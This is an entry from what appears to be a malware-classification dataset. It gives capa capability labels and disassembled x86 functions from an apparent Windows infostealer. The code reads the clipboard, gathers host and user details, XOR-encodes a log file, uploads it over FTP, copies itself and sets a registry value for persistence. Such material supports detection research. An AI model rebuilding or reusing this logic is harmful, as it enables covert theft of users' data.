joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40138c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00401cb8
test esi, esi
jne 0x4013c2
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00401da4
jmp 0x4013e0
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004012a0
mov edi, eax
test esi, esi
je 0x4013e0
cmp dword [ebx], 0
je 0x4013e0
dec esi
jmp 0x4013c9
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x4017d8
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x407008], 0x8088405
inc edx
mov dword [ebx + 0x407008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4026e8
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffc00
mov ebx, eax
push esp
push 0x3ff
call sub.KERNEL32.DLL_GetTempPathA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00401da4
add esp, 0x400
pop ebx
ret

Function at 0x402854
Capabilities:
Check os version

Disassembly:
push ebx
add esp, 0xffffff6c
xor ebx, ebx
mov dword [esp], 0x94
push esp
call sub.KERNEL32.DLL_GetVersionExA
test eax, eax
je 0x40287d
cmp dword [esp + 0x10], 2
jne 0x40287d
cmp dword [esp + 4], 6
sete bl
mov eax, ebx
add esp, 0x94
pop ebx
ret

Function at 0x402888
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402010
xor eax, eax
push ebp
push 0x402921
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.00401cb8
lea eax, [ebp - 0x19c]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [ebp - 4]
call fcn.00402020
push eax
call sub.wsock32.dll_gethostbyname
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x402906
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xc], eax
xor ebx, ebx
jmp 0x4028fc
push dword [esi]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, edi
call fcn.00401dd4
inc ebx
mov eax, dword [ebp - 0xc]
mov esi, dword [eax + ebx*4]
test esi, esi
jne 0x4028eb
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402928
lea eax, [ebp - 4]
call fcn.00401cb8
ret
Function at 0x402930
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffe28
mov edi, eax
mov eax, edi
call fcn.00401cb8
lea eax, [esp + 0x48]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 0x40
lea eax, [esp + 0xc]
push eax
call sub.wsock32.dll_gethostname
lea eax, [esp + 8]
push eax
call sub.wsock32.dll_gethostbyname
mov dword [esp], eax
cmp dword [esp], 0
je 0x40299a
mov eax, dword [esp]
mov eax, dword [eax + 0xc]
mov dword [esp + 4], eax
xor ebx, ebx
jmp 0x40298f
push dword [esi]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, edi
call fcn.00401dd4
inc ebx
mov eax, dword [esp + 4]
mov esi, dword [eax + ebx*4]
test esi, esi
jne 0x40297e
call sub.wsock32.dll_WSACleanup
add esp, 0x1d8
pop edi
pop esi
pop ebx
ret

Function at 0x4029ac
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00402010
mov eax, dword [ebp - 8]
call fcn.00402010
mov eax, dword [ebp + 8]
call fcn.00402010
xor eax, eax
push ebp
push 0x402a58
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0xc]
push eax
push 2
push 0
mov eax, dword [ebp - 4]
call fcn.00402020
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402a35
mov eax, dword [ebp + 8]
call fcn.00401e28
push eax
mov eax, dword [ebp + 8]
call fcn.00402020
push eax
push 1
push 0
mov eax, dword [ebp - 8]
call fcn.00402020
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
sete bl
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402a5f
lea eax, [ebp - 8]
mov edx, 2
call fcn.00401cdc
lea eax, [ebp + 8]
call fcn.00401cb8
ret

Function at 0x402a6c
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00402010
mov eax, dword [ebp - 8]
call fcn.00402010
xor eax, eax
push ebp
push 0x402af2
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0xc]
push eax
push 2
push 0
mov eax, dword [ebp - 4]
call fcn.00402020
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402ad7
mov eax, dword [ebp - 8]
call fcn.00402020
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegDeleteValueA
test eax, eax
sete bl
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402af9
lea eax, [ebp - 8]
mov edx, 2
call fcn.00401cdc
ret
Function at 0x402b0c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
xor edx, edx
mov dword [ebp - 0x108], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x402b83
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x1c
push 0
call sub.shfolder.dll_SHGetFolderPathA
lea eax, [ebp - 0x108]
lea edx, [ebp - 0x104]
mov ecx, 0x104
call fcn.00401e10
mov edx, dword [ebp - 0x108]
mov eax, ebx
mov ecx, 0x402b98
call fcn.00401e74
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402b8a
lea eax, [ebp - 0x108]
call fcn.00401cb8
ret

Function at 0x402b9c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
xor edx, edx
mov dword [ebp - 0x108], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x402c10
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea eax, [ebp - 0x108]
lea edx, [ebp - 0x104]
mov ecx, 0x104
call fcn.00401e10
mov edx, dword [ebp - 0x108]
mov eax, ebx
mov ecx, 0x402c24
call fcn.00401e74
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402c17
lea eax, [ebp - 0x108]
call fcn.00401cb8
ret

Function at 0x402c94
Capabilities:
Get session user name

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
mov eax, ebx
mov edx, 0x402ce0
call fcn.00401d0c
mov dword [esp], pe_nt_image_headers32
push esp
lea eax, [esp + 8]
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x402ccf
mov eax, ebx
lea edx, [esp + 4]
mov ecx, pe_nt_image_headers32
call fcn.00401e10
add esp, 0x104
pop ebx
ret

Function at 0x402ce8
Capabilities:
Get hostname

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
mov eax, ebx
mov edx, 0x402d34
call fcn.00401d0c
mov dword [esp], pe_nt_image_headers32
push esp
lea eax, [esp + 8]
push eax
call sub.KERNEL32.DLL_GetComputerNameA
test eax, eax
je 0x402d23
mov eax, ebx
lea edx, [esp + 4]
mov ecx, pe_nt_image_headers32
call fcn.00401e10
add esp, 0x104
pop ebx
ret
Function at 0x402d3c
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff64
push ebx
xor edx, edx
mov dword [ebp - 0x98], edx
mov dword [ebp - 0x9c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x402e96
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, 0x402eac
call fcn.00401d0c
mov dword [ebp - 0x94], 0x94
lea eax, [ebp - 0x94]
push eax
call sub.KERNEL32.DLL_GetVersionExA
test eax, eax
je 0x402e78
cmp dword [ebp - 0x84], 2
jne 0x402e78
cmp dword [ebp - 0x90], 4
ja 0x402db2
mov eax, ebx
mov edx, 0x402ebc
call fcn.00401d0c
jmp 0x402e30
cmp dword [ebp - 0x90], 5
jne 0x402dd2
cmp dword [ebp - 0x8c], 0
jne 0x402dd2
mov eax, ebx
mov edx, 0x402ed0
call fcn.00401d0c
jmp 0x402e30
cmp dword [ebp - 0x90], 5
jne 0x402df2
cmp dword [ebp - 0x8c], 1
jne 0x402df2
mov eax, ebx
mov edx, 0x402ee8
call fcn.00401d0c
jmp 0x402e30
cmp dword [ebp - 0x90], 6
jne 0x402e12
cmp dword [ebp - 0x8c], 0
jne 0x402e12
mov eax, ebx
mov edx, 0x402efc
call fcn.00401d0c
jmp 0x402e30
cmp dword [ebp - 0x90], 6
jne 0x402e30
cmp dword [ebp - 0x8c], 1
jne 0x402e30
mov eax, ebx
mov edx, 0x402f14
call fcn.00401d0c
push dword [ebx]
push 0x402f28
lea eax, [ebp - 0x98]
lea edx, [ebp - 0x80]
mov ecx, 0x80
call fcn.00401e10
push dword [ebp - 0x98]
push 0x402f34
lea edx, [ebp - 0x9c]
mov eax, dword [ebp - 0x88]
call fcn.00402718
push dword [ebp - 0x9c]
mov eax, ebx
mov edx, 5
call fcn.00401ee8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402e9d
lea eax, [ebp - 0x9c]
mov edx, 2
call fcn.00401cdc
ret

Function at 0x403220
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402010
xor eax, eax
push ebp
push 0x4032b8
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
mov eax, dword [0x40d69c]
call fcn.00402020
push eax
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
je 0x4032a2
push 2
push 0
push 0
push esi
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.00401e28
push eax
lea eax, [ebp - 4]
call fcn.00402074
push eax
push esi
call sub.KERNEL32.DLL_WriteFile
cmp eax, 1
sbb ebx, ebx
inc ebx
push esi
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4032bf
lea eax, [ebp - 4]
call fcn.00401cb8
ret
Function at 0x4032c8
Capabilities:
Encode data using xor
Get file size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
mov eax, dword [0x40d69c]
call fcn.00402020
push eax
call sub.KERNEL32.DLL_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
je 0x403374
push 0
push edi
call sub.KERNEL32.DLL_GetFileSize
mov esi, eax
test esi, esi
jbe 0x40336e
push 0
push esi
push 0
push 4
push 0
push edi
call sub.KERNEL32.DLL_CreateFileMappingA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40336e
push 0
push 0
push 0
push 2
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_MapViewOfFile
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x403365
mov edx, esi
dec edx
test edx, edx
jb 0x40335a
inc edx
mov dword [ebp - 8], 0
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
xor byte [eax], 0x87
inc dword [ebp - 8]
dec edx
jne 0x40334b
mov bl, 1
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_UnmapViewOfFile
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_CloseHandle
push edi
call sub.KERNEL32.DLL_CloseHandle
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403380
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov ebp, eax
xor ebx, ebx
push 0
call sub.user32.dll_OpenClipboard
test eax, eax
je 0x4033e4
push 1
call sub.user32.dll_GetClipboardData
mov esi, eax
test esi, esi
je 0x4033df
push esi
call sub.KERNEL32.DLL_GlobalLock
mov dword [esp], eax
cmp dword [esp], 0
je 0x4033df
push esi
call sub.KERNEL32.DLL_GlobalSize
mov edi, eax
test edi, edi
jbe 0x4033d9
mov edx, edi
dec edx
mov eax, ebp
call fcn.00402104
mov eax, ebp
call fcn.00402074
mov ecx, edi
mov edx, dword [esp]
call fcn.004025ac
mov bl, 1
push esi
call sub.KERNEL32.DLL_GlobalUnlock
call sub.user32.dll_CloseClipboard
mov eax, ebx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4033ec
Capabilities:
Connect to http server
Create http request
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x4033f4
push ecx
xor eax, eax
push ebp
push 0x4035e1
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 1
push 0x4035ec
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4035c6
push 0
push 0x8000000
push 1
lea ecx, [ebp - 0x14]
mov edx, dword [0x40d688]
mov eax, dword [0x40d694]
call fcn.00402f3c
mov eax, dword [ebp - 0x14]
call fcn.00402020
push eax
lea ecx, [ebp - 0x18]
mov edx, dword [0x40d688]
mov eax, dword [0x40d690]
call fcn.00402f3c
mov eax, dword [ebp - 0x18]
call fcn.00402020
push eax
push 0x15
lea ecx, [ebp - 0x1c]
mov edx, dword [0x40d688]
mov eax, dword [0x40d68c]
call fcn.00402f3c
mov eax, dword [ebp - 0x1c]
call fcn.00402020
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wininet.dll_InternetConnectA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4035bd
lea ecx, [ebp - 0xc]
mov edx, dword [0x40d688]
mov eax, dword [0x40d698]
call fcn.00402f3c
lea eax, [ebp - 0x10]
call fcn.00402930
push dword [ebp - 0xc]
push 0x403604
push dword [ebp - 0x10]
push 0x403604
lea eax, [ebp - 0x20]
mov edx, 4
call fcn.00401ee8
mov eax, dword [ebp - 0x20]
call fcn.00402020
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_FtpSetCurrentDirectoryA
test eax, eax
jne 0x403557
mov eax, dword [ebp - 0xc]
call fcn.00402020
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_FtpCreateDirectoryA
push dword [ebp - 0xc]
push 0x403604
push dword [ebp - 0x10]
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00401ee8
mov eax, dword [ebp - 0x24]
call fcn.00402020
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_FtpCreateDirectoryA
push dword [ebp - 0xc]
push 0x403604
push dword [ebp - 0x10]
push 0x403604
lea eax, [ebp - 0x28]
mov edx, 4
call fcn.00401ee8
mov eax, dword [ebp - 0x28]
call fcn.00402020
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_FtpSetCurrentDirectoryA
push 0
push 2
push 0x403610
lea edx, [ebp - 0x30]
mov eax, 0x403620
call fcn.00402fec
push dword [ebp - 0x30]
push 0x40362c
lea edx, [ebp - 0x34]
mov eax, 0x403620
call fcn.004030f8
push dword [ebp - 0x34]
push 0x403638
lea eax, [ebp - 0x2c]
mov edx, 5
call fcn.00401ee8
mov eax, dword [ebp - 0x2c]
call fcn.00402020
push eax
mov eax, dword [0x40d69c]
call fcn.00402020
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_FtpPutFileA
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
mov eax, dword [ebp - 4]
push eax
call sub.wininet.dll_InternetCloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4035e8
lea eax, [ebp - 0x34]
mov edx, 0xb
call fcn.00401cdc
ret
Function at 0x403640
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402010
xor eax, eax
push ebp
push 0x4036ea
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.00402020
push eax
call sub.KERNEL32.DLL_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
je 0x4036d4
push 0
push edi
call sub.KERNEL32.DLL_GetFileSize
mov esi, eax
test esi, esi
jbe 0x4036ce
push 0
push 0
push 0
push edi
call sub.KERNEL32.DLL_SetFilePointer
mov eax, dword [ebp - 8]
mov edx, esi
call fcn.00402104
push 0
lea eax, [ebp - 0xc]
push eax
push esi
mov eax, dword [ebp - 8]
call fcn.00402074
push eax
push edi
call sub.KERNEL32.DLL_ReadFile
cmp eax, 1
sbb ebx, ebx
inc ebx
push edi
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4036f1
lea eax, [ebp - 4]
call fcn.00401cb8
ret
Function at 0x4036fc
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create raw socket
Create tcp socket
Initialize winsock library
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x3b
push 0
push 0
dec ecx
jne 0x403704
push ebx
xor eax, eax
push ebp
push 0x403996
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, dword [0x40d69c]
call fcn.00403640
test al, al
je 0x40396b
mov eax, 0xffff
call fcn.004017d8
cdq
push edx
push eax
lea edx, [ebp - 0x1b8]
mov eax, 4
call fcn.00402794
push dword [ebp - 0x1b8]
mov eax, 0xffff
call fcn.004017d8
cdq
push edx
push eax
lea edx, [ebp - 0x1bc]
mov eax, 4
call fcn.00402794
push dword [ebp - 0x1bc]
mov eax, 0xffff
call fcn.004017d8
cdq
push edx
push eax
lea edx, [ebp - 0x1c0]
mov eax, 4
call fcn.00402794
push dword [ebp - 0x1c0]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00401ee8
push 0x4039ac
push dword [ebp - 8]
push 0x4039b8
push 0x4039c4
push 0x403a08
lea edx, [ebp - 0x1c4]
mov eax, 0x403a18
call fcn.00402fec
push dword [ebp - 0x1c4]
push 0x403a24
lea edx, [ebp - 0x1c8]
mov eax, 0x403a18
call fcn.004030f8
push dword [ebp - 0x1c8]
push 0x403a30
push 0x403a40
push 0x4039b8
push 0x403a4c
push 0x403a7c
push dword [ebp - 4]
push 0x4039b8
push 0x4039ac
push dword [ebp - 8]
push 0x4039ac
push 0x4039b8
lea eax, [ebp - 0xc]
mov edx, 0x13
call fcn.00401ee8
push 0x403a8c
lea ecx, [ebp - 0x1cc]
mov edx, dword [0x40d688]
mov eax, dword [0x40d6ac]
call fcn.00402f3c
push dword [ebp - 0x1cc]
push 0x403a9c
push 0x4039b8
push 0x403ab0
lea ecx, [ebp - 0x1d0]
mov edx, dword [0x40d688]
mov eax, dword [0x40d6a8]
call fcn.00402f3c
push dword [ebp - 0x1d0]
push 0x4039b8
push 0x403ac0
push 0x4039b8
push 0x403adc
push dword [ebp - 8]
push 0x4039b8
push 0x403b14
mov eax, dword [ebp - 0xc]
call fcn.00401e28
lea edx, [ebp - 0x1d4]
call fcn.00402718
push dword [ebp - 0x1d4]
push 0x403a7c
push dword [ebp - 0xc]
lea eax, [ebp - 0x10]
mov edx, 0x10
call fcn.00401ee8
lea eax, [ebp - 0x1b4]
push eax
push 0x1010
call sub.wsock32.dll_WSAStartup
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403966
lea ecx, [ebp - 0x1d8]
mov edx, dword [0x40d688]
mov eax, dword [0x40d6a8]
call fcn.00402f3c
mov eax, dword [ebp - 0x1d8]
lea edx, [ebp - 0x14]
call fcn.00402888
cmp dword [ebp - 0x14], 0
je 0x403960
mov word [ebp - 0x24], 2
push 0x50
call sub.wsock32.dll_htons
mov word [ebp - 0x22], ax
mov eax, dword [ebp - 0x14]
call fcn.00402020
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x20], eax
push 0x10
lea eax, [ebp - 0x24]
push eax
push ebx
call sub.wsock32.dll_connect
inc eax
je 0x403960
push 0
mov eax, dword [ebp - 0x10]
call fcn.00401e28
push eax
lea eax, [ebp - 0x10]
call fcn.00402074
push eax
push ebx
call sub.wsock32.dll_send
push ebx
call sub.wsock32.dll_closesocket
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40399d
lea eax, [ebp - 0x1d8]
mov edx, 9
call fcn.00401cdc
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00401cdc
ret
Function at 0x404008
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
xor eax, eax
push ebp
push 0x40419f
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00403b6c
test al, al
je 0x40417d
cmp byte [0x40d6c9], 0
je 0x40403d
call fcn.00403d64
push 0xbb8
call sub.KERNEL32.DLL_Sleep
push 0x4041ac
push 0
push 0
call fcn.00402454
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
jne 0x404068
push 0
call sub.KERNEL32.DLL_ExitProcess
call fcn.00402854
test al, al
je 0x4040a9
lea eax, [ebp - 4]
call fcn.00402b0c
mov edx, dword [ebp - 4]
mov eax, 0x40d6a0
mov ecx, dword [0x40d6a0]
call fcn.00401e74
lea eax, [ebp - 8]
call fcn.00402b0c
mov edx, dword [ebp - 8]
mov eax, 0x40d69c
mov ecx, dword [0x40d69c]
call fcn.00401e74
jmp 0x4040df
lea eax, [ebp - 0xc]
call fcn.00402b9c
mov edx, dword [ebp - 0xc]
mov eax, 0x40d6a0
mov ecx, dword [0x40d6a0]
call fcn.00401e74
lea eax, [ebp - 0x10]
call fcn.00402b9c
mov edx, dword [ebp - 0x10]
mov eax, 0x40d69c
mov ecx, dword [0x40d69c]
call fcn.00401e74
cmp byte [0x40d6c8], 0
je 0x404184
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.0040138c
mov eax, dword [ebp - 0x14]
mov edx, dword [0x40d6a0]
call fcn.00401f6c
je 0x404158
push 0
mov eax, dword [0x40d6a0]
call fcn.00402020
push eax
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.0040138c
mov eax, dword [ebp - 0x18]
call fcn.00402020
push eax
call sub.KERNEL32.DLL_CopyFileA
test eax, eax
je 0x404158
push 0
push 0
push 0
mov eax, dword [0x40d6a0]
call fcn.00402020
push eax
push 0x4041c4
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
jb 0x404158
push 0
call sub.KERNEL32.DLL_ExitProcess
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.0040138c
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [0x40d6a4]
mov edx, 0x4041d4
mov eax, 0x80000001
call fcn.004029ac
jmp 0x404184
push 0
call sub.KERNEL32.DLL_ExitProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4041a6
lea eax, [ebp - 0x1c]
mov edx, 7
call fcn.00401cdc
ret
Function at 0x406e20
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor eax, eax
mov dword [ebp - 0x14], eax
mov eax, 0x406de0
call fcn.00402344
mov ebx, 0x40d7d4
xor eax, eax
push ebp
push 0x406f3e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
call fcn.004026e8
mov edx, dword [ebp - 0x14]
mov eax, 0x40d93c
mov ecx, 0x406f54
call fcn.00401e74
call fcn.00404008
mov edx, dword [0x40d93c]
mov eax, 0x40d7f0
call fcn.00401644
mov edx, 0x80
mov eax, 0x40d7f0
call fcn.004018fc
call fcn.00401204
push 0
mov edx, 0x4070b0
mov ecx, 0xf0
mov eax, 0x40d7f0
call fcn.00401740
call fcn.00401204
mov eax, 0x40d7f0
call fcn.00401760
call fcn.00401204
push 9
mov eax, dword [0x40d93c]
call fcn.00402020
push eax
call sub.KERNEL32.DLL_WinExec
push 0x4042ac
push 1
push 0
push 0
call sub.user32.dll_SetTimer
push fcn.00403b28
imul eax, dword [0x40d6c4], 0xea60
push eax
push 0
push 0
call sub.user32.dll_SetTimer
cmp byte [0x40d6c9], 0
je 0x406f18
push fcn.00403d64
push 1
push 0
push 0
call sub.user32.dll_SetTimer
jmp 0x406f18
push ebx
call sub.user32.dll_TranslateMessage
push ebx
call sub.user32.dll_DispatchMessageA
push 0
push 0
push 0
push ebx
call sub.user32.dll_GetMessageA
test eax, eax
jne 0x406f0c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406f45
lea eax, [ebp - 0x14]
call fcn.00401cb8
ret